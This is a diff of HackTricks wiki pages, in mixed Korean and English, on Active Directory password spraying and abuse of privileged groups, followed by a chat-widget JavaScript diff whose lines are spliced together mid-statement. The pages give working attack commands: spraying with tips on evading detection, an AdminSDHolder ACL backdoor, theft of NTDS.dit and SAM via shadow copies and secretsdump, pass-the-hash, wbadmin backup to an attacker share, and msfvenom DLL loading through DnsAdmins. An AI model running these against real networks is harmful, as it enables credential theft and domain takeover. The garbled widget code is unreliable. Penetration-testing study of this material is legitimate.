- 가장 신뢰할 수 있는 badPwdCount 및 정책 관련 정보를 읽기 위해 -dc로 PDC-emulator를 조회하는 것을 권장합니다.
- badPwdCount 리셋은 관찰 창 이후 다음 시도에서 트리거됩니다; 안전을 유지하려면 임계값과 타이밍을 사용하세요.
- Kerberos pre-auth 시도는 DC 텔레메트리에서 4768/4771로 나타납니다; 섞이기 위해 jitter와 rate-limiting을 사용하세요.
Operational notes:
- 가장 권위 있는 badPwdCount 및 정책 관련 정보를 읽기 위해 -dc 옵션으로 PDC-emulator에 질의하는 것을 우선하세요.
- badPwdCount 재설정은 관찰 창 이후 다음 시도에서 트리거됩니다; 안전을 위해 임계값과 타이밍을 사용하세요.
- Kerberos pre-auth 시도는 DC telemetry에서 4768/4771로 나타납니다; 섞이기 위해 jitter와 rate-limiting을 사용하세요.
> Tip: SpearSprays default LDAP page size is 200; adjust with -lps as needed.
## Outlook Web Access
p**assword spraying outlook**을 위한 도구가 여러 개 있습니다.
There are multiples tools for p**assword spraying outlook**.
- [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) 사용
- [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) 사용
- [Ruler](https://github.com/sensepost/ruler) 사용 (신뢰할 만함!)
- [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) 사용 (Powershell)
- [MailSniper](https://github.com/dafthack/MailSniper) 사용 (Powershell)
- With [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
- with [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
- With [Ruler](https://github.com/sensepost/ruler) (reliable!)
- With [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
- With [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
이 도구들을 사용하려면 사용자 목록과 시도할 password 또는 소수의 password 목록이 필요합니다.
To use any of these tools, you need a 사용자 목록 and a password / a small list of passwords to spray.
```bash
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
@ -227,6 +242,7 @@ p**assword spraying outlook**을 위한 도구가 여러 개 있습니다.
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
- [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
- [HTB Sendai 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,8 +1,8 @@
# Privileged Groups
# 특권 그룹
{{#include ../../banners/hacktricks-training.md}}
## Well Known groups with administration privileges
## 관리 권한이 있는 잘 알려진 그룹
- **Administrators**
- **Domain Admins**
@ -10,59 +10,59 @@
## Account Operators
이 그룹은 도메인에서 관리자가 아닌 계정 및 그룹을 생성할 수 있는 권한을 부여받습니다. 또한, 도메인 컨트롤러(DC)에 대한 로컬 로그인을 가능하게 합니다.
이 그룹은 도메인에서 관리자가 아닌 계정과 그룹을 생성할 수 있는 권한을 가집니다. 또한 도메인 컨트롤러(DC)에 대한 로컬 로그인을 허용합니다.
이 그룹의 구성원을 식별하기 위해 다음 명령이 실행됩니다:
이 그룹의 멤버를 식별하려면 다음 명령을 실행합니다:
```bash
Get-NetGroupMember -Identity "Account Operators" -Recurse
```
새 사용자를 추가하는 것은 허용되며, DC01에 대한 로컬 로그인이 가능합니다.
새 사용자를 추가하는 것과 DC에 대한 로컬 로그인이 허용됩니다.
## AdminSDHolder 그룹
**AdminSDHolder** 그룹의 접근 제어 목록(ACL)은 모든 "보호된 그룹"에 대한 권한을 설정하므로 매우 중요합니다. 여기에는 높은 권한 그룹이 포함됩니다. 이 메커니즘은 무단 수정을 방지하여 이러한 그룹의 보안을 보장합니다.
The **AdminSDHolder** 그룹의 Access Control List (ACL)은 Active Directory 내의 모든 "protected groups" — 특히 high-privilege groups — 에 대한 권한을 설정하므로 매우 중요합니다. 이 메커니즘은 무단 수정으로부터 해당 그룹들을 보호하여 보안을 유지합니다.
공격자는 **AdminSDHolder** 그룹의 ACL을 수정하여 표준 사용자에게 전체 권한을 부여함으로써 이를 악용할 수 있습니다. 이렇게 되면 해당 사용자는 모든 보호된 그룹에 대한 전체 제어 권한을 가지게 됩니다. 이 사용자의 권한이 변경되거나 제거되면, 시스템 설계로 인해 1시간 이내에 자동으로 복원됩니다.
공격자는 **AdminSDHolder** 그룹의 ACL을 수정하여 일반 사용자에게 전체 권한을 부여하는 방식으로 이를 악용할 수 있습니다. 이렇게 되면 해당 사용자는 모든 protected groups에 대해 사실상 전체 제어 권한을 갖게 됩니다. 만약 이 사용자의 권한이 변경되거나 제거되더라도, 시스템 설계상 약 1시간 내에 자동으로 복원됩니다.
구성원 검토 및 권한 수정을 위한 명령은 다음과 같습니다:
멤버를 확인하고 권한을 수정하기 위한 명령어는 다음과 같습니다:
```bash
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
```
스크립트가 복원 프로세스를 가속화하기 위해 제공됩니다: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1).
복구 과정을 가속화하기 위한 스크립트가 제공됩니다: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1).
자세한 내용은 [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence)을 방문하세요.
자세한 내용은 [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence)을 참조하세요.
## AD Recycle Bin
이 그룹의 구성원은 삭제된 Active Directory 객체를 읽을 수 있으며, 이는 민감한 정보를 드러낼 수 있습니다:
이 그룹에 대한 멤버십은 삭제된 Active Directory 객체를 읽을 수 있는 권한을 부여하며, 이는 민감한 정보를 노출시킬 수 있습니다:
```bash
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
```
### 도메인 컨트롤러 접근
### Domain Controller Access
DC의 파일 접근은 사용자가 `Server Operators` 그룹의 일원이 아닌 경우 제한됩니다. 이 그룹에 속하면 접근 수준이 변경됩니다.
DC의 파일 접근은 사용자가 `Server Operators` 그룹의 구성원이 아닌 경우 제한되며, 해당 그룹에 속하면 접근 권한 수준이 변경됩니다.
### 권한 상승
### Privilege Escalation
Sysinternals의 `PsService` 또는 `sc`를 사용하여 서비스 권한을 검사하고 수정할 수 있습니다. 예를 들어, `Server Operators` 그룹은 특정 서비스에 대한 전체 제어 권한을 가지고 있어 임의의 명령 실행 및 권한 상승을 허용합니다.
Sysinternals의 `PsService``sc`를 사용하면 서비스 권한을 검사하고 수정할 수 있습니다. 예를 들어 `Server Operators` 그룹은 특정 서비스에 대해 전체 제어 권한을 가지며, 임의 명령 실행과 privilege escalation을 가능하게 합니다:
```cmd
C:\> .\PsService.exe security AppReadiness
```
이 명령은 `Server Operators`가 전체 액세스 권한을 가지고 있어 서비스 조작을 통해 상승된 권한을 얻을 수 있음을 보여줍니다.
이 명령은 `Server Operators`가 전체 접근 권한을 가지고 있어 권한 상승을 위해 서비스를 조작할 수 있음을 보여준다.
## Backup Operators
`Backup Operators` 그룹의 구성원은 `SeBackup``SeRestore` 권한 덕분에 `DC01` 파일 시스템에 대한 액세스 권한을 제공합니다. 이러한 권한은 명시적인 권한 없이도 `FILE_FLAG_BACKUP_SEMANTICS` 플래그를 사용하여 폴더 탐색, 목록 작성 및 파일 복사 기능을 가능하게 합니다. 이 프로세스에는 특정 스크립트를 사용하는 것이 필요합니다.
`Backup Operators` 그룹의 구성원은 `SeBackup``SeRestore` 권한으로 인해 `DC01` 파일 시스템에 접근할 수 있다. 이 권한들은 `FILE_FLAG_BACKUP_SEMANTICS` 플래그를 사용하여 명시적 권한이 없어도 폴더 탐색, 목록 확인 및 파일 복사 기능을 가능하게 한다. 이 프로세스에는 특정 스크립트 사용이 필요하다.
그룹 구성원을 나열하려면 다음을 실행하십시오:
그룹 멤버를 나열하려면 다음을 실행:
```bash
Get-NetGroupMember -Identity "Backup Operators" -Recurse
```
### Local Attack
### 로컬 공격
이러한 권한을 로컬에서 활용하기 위해 다음 단계를 수행합니다:
이러한 권한을 로컬에서 활용하려면 다음 단계를 수행합니다:
1. 필요한 라이브러리 가져오기:
```bash
@ -74,18 +74,18 @@ Import-Module .\SeBackupPrivilegeCmdLets.dll
Set-SeBackupPrivilege
Get-SeBackupPrivilege
```
3. 제한된 디렉토리에서 파일에 접근하고 복사합니다. 예를 들어:
3. 제한된 디렉터리에서 파일에 접근하고 복사합니다. 예를 들면:
```bash
dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite
```
### AD 공격
### AD Attack
도메인 컨트롤러의 파일 시스템에 직접 접근하면 도메인 사용자 및 컴퓨터에 대한 모든 NTLM 해시를 포함하는 `NTDS.dit` 데이터베이스를 훔칠 수 있습니다.
Domain Controller의 파일 시스템에 직접 접근하면 도메인 사용자 및 컴퓨터의 모든 NTLM 해시를 포함하는 `NTDS.dit` 데이터베이스를 탈취할 수 있습니다.
#### diskshadow.exe 사용
#### Using diskshadow.exe
1. `C` 드라이브의 섀도 복사본을 생성합니다:
1. `C` 드라이브의 섀도 복사본을 생성합니다:
```cmd
diskshadow.exe
set verbose on
@ -98,27 +98,35 @@ expose %cdrive% F:
end backup
exit
```
2. 그림자 복사본에서 `NTDS.dit` 복사:
2. 섀도 복사본에서 `NTDS.dit` 복사:
```cmd
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
```
안으로, 파일 복사를 위해 `robocopy`를 사용하세요:
신 파일 복사에는 `robocopy`를 사용하세요:
```cmd
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
```
3. 해시 검색을 위한 `SYSTEM``SAM` 추출:
3. 해시 획득을 위해 `SYSTEM``SAM` 추출:
```cmd
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
```
4. `NTDS.dit`에서 모든 해시를 검색합니다:
4. `NTDS.dit`에서 모든 hashes를 추출하기:
```shell-session
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
```
5. 추출 후: Pass-the-Hash to DA
```bash
# Use the recovered Administrator NT hash to authenticate without the cleartext password
netexec winrm <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> -x "whoami"
# Or execute via SMB using an exec method
netexec smb <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> --exec-method smbexec -x cmd
```
#### wbadmin.exe 사용하기
1. 공격자 머신에서 SMB 서버를 위한 NTFS 파일 시스템을 설정하고 대상 머신에서 SMB 자격 증명을 캐시합니다.
2. 시스템 백업 및 `NTDS.dit` 추출을 위해 `wbadmin.exe`를 사용합니다:
1. 공격자 머신에서 SMB 서버용 NTFS 파일시스템을 설정하고 대상 머신에서 SMB 자격증명을 캐시합니다.
2. 시스템 백업 및 `NTDS.dit` 추출을 위해 `wbadmin.exe`를 사용하세요:
```cmd
net use X: \\<AttackIP>\sharename /user:smbuser password
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
@ -126,23 +134,29 @@ wbadmin get versions
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl
```
실제 시연을 보려면 [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s)를 참조하세요.
For a practical demonstration, see [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s).
## DnsAdmins
**DnsAdmins** 그룹의 구성원은 DNS 서버에서 SYSTEM 권한으로 임의의 DLL을 로드할 수 있는 권한을 악용할 수 있으며, 이는 종종 도메인 컨트롤러에서 호스팅됩니다. 이 기능은 상당한 악용 가능성을 제공합니다.
Members of the **DnsAdmins** group can exploit their privileges to load an arbitrary DLL with SYSTEM privileges on a DNS server, often hosted on Domain Controllers. This capability allows for significant exploitation potential.
DnsAdmins 그룹의 구성원을 나열하려면 다음을 사용하세요:
```bash
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
```
### 임의 DLL 실행
### 임의 DLL 실행 (CVE202140469)
구성원은 다음과 같은 명령을 사용하여 DNS 서버가 임의의 DLL(로컬 또는 원격 공유에서)을 로드하도록 할 수 있습니다:
> [!NOTE]
> 이 취약점은 DNS 서비스(보통 DCs 내부)에서 SYSTEM 권한으로 임의 코드를 실행할 수 있게 합니다. 이 문제는 2021년에 수정되었습니다.
구성원들은 DNS 서버가 임의의 DLL(로컬이거나 remote share에서)을 로드하도록 다음과 같은 명령을 사용하여 만들 수 있습니다:
```bash
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
# If dnscmd is not installed run from aprivileged PowerShell session:
Install-WindowsFeature -Name RSAT-DNS-Server -IncludeManagementTools
```
```c
@ -158,90 +172,94 @@ system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /doma
// Generate DLL with msfvenom
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
```
DNS 서비스를 재시작하는 것은 (추가 권한이 필요할 수 있음) DLL이 로드되기 위해 필요합니다:
DLL이 로드되려면 DNS 서비스를 재시작해야 합니다(추가 권한이 필요할 수 있음):
```csharp
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns
```
자세한 내용은 ired.team을 참조하십시오.
For more details on this attack vector, refer to ired.team.
#### Mimilib.dll
특정 명령이나 리버스 셸을 실행하도록 수정하여 명령 실행을 위해 mimilib.dll을 사용하는 것도 가능합니다. [이 게시물을 확인하십시오](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) 더 많은 정보를 위해.
mimilib.dll을 사용해 명령을 실행하는 것도 가능하며, 특정 명령이나 reverse shells를 실행하도록 수정할 수 있습니다. [Check this post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html)에서 자세한 정보를 확인하세요.
### WPAD 레코드로 MitM
### WPAD Record for MitM
DnsAdmins는 글로벌 쿼리 차단 목록을 비활성화한 후 WPAD 레코드를 생성하여 Man-in-the-Middle (MitM) 공격을 수행하기 위해 DNS 레코드를 조작할 수 있습니다. Responder 또는 Inveigh와 같은 도구를 사용하여 네트워크 트래픽을 스푸핑하고 캡처할 수 있습니다.
DnsAdmins는 글로벌 쿼리 차단 목록을 비활성화한 후 WPAD 레코드를 생성하여 Man-in-the-Middle (MitM) 공격을 수행하기 위해 DNS 레코드를 조작할 수 있습니다. Responder나 Inveigh 같은 도구를 사용해 스푸핑하고 네트워크 트래픽을 캡처할 수 있습니다.
### 이벤트 로그 리더
구성원은 이벤트 로그에 접근할 수 있으며, 평문 비밀번호나 명령 실행 세부정보와 같은 민감한 정보를 찾을 수 있습니다:
### Event Log Readers
구성원은 이벤트 로그에 접근할 수 있어 plaintext passwords나 명령 실행 세부사항과 같은 민감한 정보를 발견할 수 있습니다:
```bash
# Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
```
## Exchange Windows Permissions
## Exchange Windows 권한
이 그룹은 도메인 객체의 DACL을 수정할 수 있으며, 잠재적으로 DCSync 권한을 부여할 수 있습니다. 이 그룹을 이용한 권한 상승 기법은 Exchange-AD-Privesc GitHub 리포지토리에 자세히 설명되어 있습니다.
이 그룹은 도메인 객체의 DACLs를 수정할 수 있어 DCSync 권한을 잠재적으로 부여할 수 있습니다. 이 그룹을 악용한 권한 상승 기법은 Exchange-AD-Privesc GitHub repo에 자세히 설명되어 있습니다.
```bash
# List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
```
## Hyper-V Administrators
## Hyper-V 관리자
Hyper-V Administrators는 Hyper-V에 대한 전체 액세스 권한을 가지고 있으며, 이를 통해 가상화된 도메인 컨트롤러에 대한 제어를 얻을 수 있습니다. 여기에는 라이브 DC를 클론하고 NTDS.dit 파일에서 NTLM 해시를 추출하는 것이 포함됩니다.
Hyper-V 관리자에게는 Hyper-V에 대한 전체 액세스 권한이 있어 가상화된 도메인 컨트롤러를 제어하는 데 악용될 수 있습니다. 여기에는 라이브 DC 복제와 NTDS.dit 파일에서 NTLM 해시를 추출하는 것이 포함됩니다.
### Exploitation Example
### 악용 예시
Firefox의 Mozilla Maintenance Service는 Hyper-V Administrators에 의해 SYSTEM으로 명령을 실행하는 데 악용될 수 있습니다. 여기에는 보호된 SYSTEM 파일에 대한 하드 링크를 생성하고 이를 악성 실행 파일로 교체하는 것이 포함됩니다:
Firefox의 Mozilla Maintenance Service는 Hyper-V 관리자에 의해 SYSTEM 권한으로 명령을 실행하기 위해 악용될 수 있습니다. 이는 보호된 SYSTEM 파일에 하드 링크를 생성하고 이를 악성 실행 파일로 교체하는 작업을 포함합니다:
```bash
# Take ownership and start the service
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
sc.exe start MozillaMaintenance
```
Note: 하드 링크 악용은 최근 Windows 업데이트에서 완화되었습니다.
참고: 최근 Windows 업데이트에서 Hard link exploitation이 완화되었습니다.
## 조직 관리
## Group Policy Creators Owners
**Microsoft Exchange**가 배포된 환경에서는 **조직 관리**라는 특별한 그룹이 중요한 기능을 가지고 있습니다. 이 그룹은 **모든 도메인 사용자의 메일박스에 접근할 수 있는 권한**을 가지고 있으며, **'Microsoft Exchange 보안 그룹'** 조직 단위(OU)에 대해 **전체 제어**를 유지합니다. 이 제어에는 권한 상승을 위해 악용될 수 있는 **`Exchange Windows Permissions`** 그룹이 포함됩니다.
이 그룹은 구성원에게 도메인에서 Group Policies를 생성할 수 있는 권한을 부여합니다. 그러나 구성원은 사용자나 그룹에 Group Policies를 적용하거나 기존 GPOs를 편집할 수는 없습니다.
### 권한 악용 및 명령
## Organization Management
#### 인쇄 운영자
Microsoft Exchange가 배포된 환경에서는 **Organization Management**라는 특별한 그룹이 중요한 권한을 가집니다. 이 그룹은 **도메인 내 모든 사용자의 사서함에 접근할 수 있는 권한**을 보유하며, **'Microsoft Exchange Security Groups'** Organizational Unit(OU)에 대한 **완전한 제어권**을 유지합니다. 이 제어권에는 권한 상승에 악용될 수 있는 **`Exchange Windows Permissions`** 그룹이 포함됩니다.
**인쇄 운영자** 그룹의 구성원은 **`SeLoadDriverPrivilege`**를 포함한 여러 권한을 부여받으며, 이를 통해 **도메인 컨트롤러에 로컬로 로그인**하고, 이를 종료하며, 프린터를 관리할 수 있습니다. 이러한 권한을 악용하기 위해서는, 특히 **`SeLoadDriverPrivilege`**가 낮은 권한의 컨텍스트에서 보이지 않는 경우, 사용자 계정 컨트롤(UAC)을 우회해야 합니다.
### Privilege Exploitation and Commands
이 그룹의 구성원을 나열하기 위해 다음 PowerShell 명령이 사용됩니다:
#### Print Operators
**Print Operators** 그룹의 구성원은 여러 권한을 부여받는데, 그중에는 `SeLoadDriverPrivilege`가 있어 **도메인 컨트롤러에 로컬로 로그온(log on locally)** 하고, 이를 종료(shut it down)하며 프린터를 관리할 수 있습니다. 이러한 권한을 악용하려면, 특히 비권한 상승 컨텍스트에서 `SeLoadDriverPrivilege`가 보이지 않는 경우 User Account Control (UAC)을 우회해야 합니다.
이 그룹의 구성원을 나열하려면, 다음 PowerShell 명령을 사용합니다:
```bash
Get-NetGroupMember -Identity "Print Operators" -Recurse
```
보다 자세한 **`SeLoadDriverPrivilege`** 관련 악용 기술은 특정 보안 리소스를 참조해야 합니다.
**`SeLoadDriverPrivilege`**와 관련된 보다 자세한 익스플로잇 기법은 관련 보안 자료를 참조하십시오.
#### 원격 데스크톱 사용자
이 그룹의 구성원은 원격 데스크톱 프로토콜(RDP)을 통해 PC에 접근할 수 있습니다. 이 구성원을 나열하기 위해 PowerShell 명령을 사용할 수 있습니다:
이 그룹의 구성원은 Remote Desktop Protocol (RDP)을 통해 PC에 접근할 수 있는 권한을 가집니다. 해당 구성원을 열거하려면 PowerShell 명령을 사용할 수 있습니다:
```bash
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
```
RDP를 악용하는 데 대한 추가 통찰력은 전용 펜테스팅 리소스에서 찾을 수 있습니다.
RDP 악용에 대한 추가 정보는 전용 pentesting 자료에서 찾을 수 있습니다.
#### 원격 관리 사용자
구성원은 **Windows 원격 관리 (WinRM)**를 통해 PC에 접근할 수 있습니다. 이러한 구성원의 열거는 다음을 통해 이루어집니다:
멤버는 **Windows Remote Management (WinRM)**을 통해 PC에 접근할 수 있습니다. 이러한 멤버들의 열거는 다음을 통해 수행됩니다:
```bash
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
```
**WinRM**와 관련된 익스플로잇 기술에 대해서는 특정 문서를 참조해야 합니다.
**WinRM**과 관련된 악용 기법은 특정 문서를 참조해야 합니다.
#### 서버 운영자
#### Server Operators
이 그룹은 도메인 컨트롤러에서 다양한 구성을 수행할 수 있는 권한을 가지고 있으며, 여기에는 백업 및 복원 권한, 시스템 시간 변경, 시스템 종료 등이 포함됩니다. 구성원을 나열하기 위해 제공된 명령은 다음과 같습니다:
이 그룹은 도메인 컨트롤러(Domain Controllers)에서 백업 및 복원 권한, 시스템 시간 변경, 시스템 종료 등을 포함한 다양한 구성을 수행할 권한을 가지고 있습니다. 멤버를 열거하려면 제공된 명령은 다음과 같습니다:
```bash
Get-NetGroupMember -Identity "Server Operators" -Recurse
```
## References <a href="#references" id="references"></a>
## 참고 자료 <a href="#references" id="references"></a>
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)
- [https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/)
@ -257,6 +275,7 @@ Get-NetGroupMember -Identity "Server Operators" -Recurse
- [https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys)
- [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e)
- [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html)
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -5,7 +5,10 @@
(() => {
const KEY = 'htSummerDiscountsDismissed';
const IMG = '/images/discount.jpeg';
const IMG = '/ima * HackTricks AI Chat Widget v1.17 enhanced resizable sidebar
* ---------------------------------------------------
* Markdown rendering + sanitised (same as before)
* ENHANCED: improved dragtoresize panel with better UXdiscount.jpeg';
const TXT = 'Click here for HT Summer Discounts, Last Days!';
const URL = 'https://training.hacktricks.xyz';
@ -13,7 +16,20 @@
if (localStorage.getItem(KEY) === 'true') return;
// Quick helper
const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });
const $ = (tag, css = '') => Object.assign(document.cr p.innerHTML = `
<div id="ht-ai-header">
<strong>HackTricks AI Chat</strong>
<span style="font-size:11px;opacity:0.6;margin-left:8px;"> Drag edge to resize</span>
<div class="ht-actions">
<button id="ht-ai-reset" title="Reset"></button>
<span id="ht-ai-close" title="Close"></span>
</div>
</div>
<div id="ht-ai-chat"></div>
<div id="ht-ai-input">
<textarea id="ht-ai-question" placeholder="Type your question…"></textarea>
<button id="ht-ai-send">Send</button>
</div>`;tag), { style: css });
// --- Overlay (blur + dim) ---
const overlay = $('div', `
@ -111,7 +127,7 @@
const MAX_CONTEXT = 3000; // highlightedtext char limit
const MAX_QUESTION = 500; // question char limit
const MIN_W = 250; // ← resize limits →
const MAX_W = 600;
const MAX_W = 800;
const DEF_W = 350; // default width (if nothing saved)
const TOOLTIP_TEXT =
"💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it";
@ -345,8 +361,9 @@
#ht-ai-panel{position:fixed;top:0;right:0;height:100%;max-width:90vw;background:#000;color:#fff;display:flex;flex-direction:column;transform:translateX(100%);transition:transform .3s ease;z-index:100000;font-family:system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,sans-serif}
#ht-ai-panel.open{transform:translateX(0)}
@media(max-width:768px){#ht-ai-panel{display:none}}
#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333}
#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center}
#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333;flex-wrap:wrap}
#ht-ai-header strong{flex-shrink:0}
#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center;margin-left:auto}
#ht-ai-close,#ht-ai-reset{cursor:pointer;font-size:18px;background:none;border:none;color:#fff;padding:0}
#ht-ai-close:hover,#ht-ai-reset:hover{opacity:.7}
#ht-ai-chat{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;font-size:14px}
@ -367,8 +384,10 @@
::selection{background:#ffeb3b;color:#000}
::-moz-selection{background:#ffeb3b;color:#000}
/* NEW: resizer handle */
#ht-ai-resizer{position:absolute;left:0;top:0;width:6px;height:100%;cursor:ew-resize;background:transparent}
#ht-ai-resizer:hover{background:rgba(255,255,255,.05)}`;
#ht-ai-resizer{position:absolute;left:0;top:0;width:8px;height:100%;cursor:ew-resize;background:rgba(255,255,255,.08);border-right:1px solid rgba(255,255,255,.15);transition:background .2s ease}
#ht-ai-resizer:hover{background:rgba(255,255,255,.15);border-right:1px solid rgba(255,255,255,.3)}
#ht-ai-resizer:active{background:rgba(255,255,255,.25)}
#ht-ai-resizer::before{content:'';position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);width:2px;height:20px;background:rgba(255,255,255,.4);border-radius:1px}`;
const s = document.createElement("style");
s.id = "ht-ai-style";
s.textContent = css;
@ -432,24 +451,43 @@
const onMove = (e) => {
if (!dragging) return;
const dx = startX - e.clientX; // dragging leftwards ⇒ +dx
e.preventDefault();
const clientX = e.clientX || (e.touches && e.touches[0].clientX);
const dx = startX - clientX; // dragging leftwards ⇒ +dx
let newW = startW + dx;
newW = Math.min(Math.max(newW, MIN_W), MAX_W);
panel.style.width = newW + "px";
};
const onUp = () => {
if (!dragging) return;
dragging = false;
handle.style.background = "";
document.body.style.userSelect = "";
document.body.style.cursor = "";
localStorage.setItem("htAiWidth", parseInt(panel.style.width, 10));
document.removeEventListener("mousemove", onMove);
document.removeEventListener("mouseup", onUp);
document.removeEventListener("touchmove", onMove);
document.removeEventListener("touchend", onUp);
};
handle.addEventListener("mousedown", (e) => {
const onStart = (e) => {
e.preventDefault();
dragging = true;
startX = e.clientX;
startX = e.clientX || (e.touches && e.touches[0].clientX);
startW = parseInt(window.getComputedStyle(panel).width, 10);
handle.style.background = "rgba(255,255,255,.25)";
document.body.style.userSelect = "none";
document.body.style.cursor = "ew-resize";
document.addEventListener("mousemove", onMove);
document.addEventListener("mouseup", onUp);
});
document.addEventListener("touchmove", onMove, { passive: false });
document.addEventListener("touchend", onUp);
};
handle.addEventListener("mousedown", onStart);
handle.addEventListener("touchstart", onStart, { passive: false });
}
})();